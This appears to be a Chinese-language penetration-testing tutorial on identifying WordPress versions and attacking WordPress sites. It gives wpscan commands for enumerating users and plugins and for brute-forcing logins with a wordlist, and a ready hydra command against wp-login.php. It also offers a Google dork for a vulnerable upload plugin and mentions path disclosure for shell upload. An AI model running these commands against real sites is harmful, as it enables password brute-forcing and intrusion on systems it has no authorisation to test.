WordPress版本识别

上干货

通过HTML源码进行版本识别

WordPress 网页源码中的某些标记可能包含有关正在使用的 WordPress 版本的信息。

只需查看网页的源代码即可,比如3.8.8的WordPress的源码中就有

1
<meta name="generator" content="WordPress 3.8.3"

网站配置错误

有的网站会有一些默认的文件可访问,比如readme.html

工具识别版本

wpscan

Github 网址:https://github.com/wpscanteam/wpscan

官方网站:www.wpscan.org

基本用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 快速扫描
wpscan -u http://target.com/
# 枚举安装的主题
wpscan --url www.example.com --enumerate t
# 枚举插件
wpscan --url www.example.com --enumerate p
# 枚举用户
wpscan --url www.example.com --enumerate u
# 对枚举出来的用户进行爆破
wpscan --url www.example.com --wordlist darkc0de.lst --threads 50
# 针对 admin 用户进行爆破
wpscan --url www.example.com --wordlist darkc0de.lst --username admin
# 枚举安装的timthumbs
wpscan --url www.example.com --enumerate tt
# 使用HTTP代理
ruby /usr/bin/wpscan --url www.example.com --proxy 127.0.0.1:8118
# 使用SOCKS5代理(cURL >= v7.21.7)
wpscan --url www.example.com --proxy socks5://127.0.0.1:9000
# 使用自定义目录
wpscan -u www.example.com --wp-content-dir custom-content
wpscan -u www.example.com --wp-plugins-dir wp-content/custom-plugins

其他比如whatweb等

攻击思路

检索默认文件

可以按照/wp-includes/下的文件都去访问一遍,有些文件可能不会含有版本号,但是从报错信息可能会爆出网站的路径,比如/wp-includes/admin-bar.php这种,完整路径泄露,可以用于 shell 上传和其他内容。

有些Google hacking语法可以筛选出指定的WordPress

1
inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php

爆破

Brutus、hydra 和 burp suite

假设targetsite.com/wp-login.php是目标网站

1
hydra 192.168.10.10 http-form-post "/wp-login.php:log=^USER^&pwd=^PASS^:Bad login" -L users.txt -P pass.txt -t 10 -w 30 -o hydra-http-post-attack.txt 

存在漏洞的插件

WordPress 有 数万个插件,众所周知,FCKeditorTimthumb 等插件存在一些严重的漏洞,例如任意文件上传、fbconnect 上的 SQL 注入等等。

插件列表:https://wordpress.org/plugins/

安装后的插件在/wp-content/plugins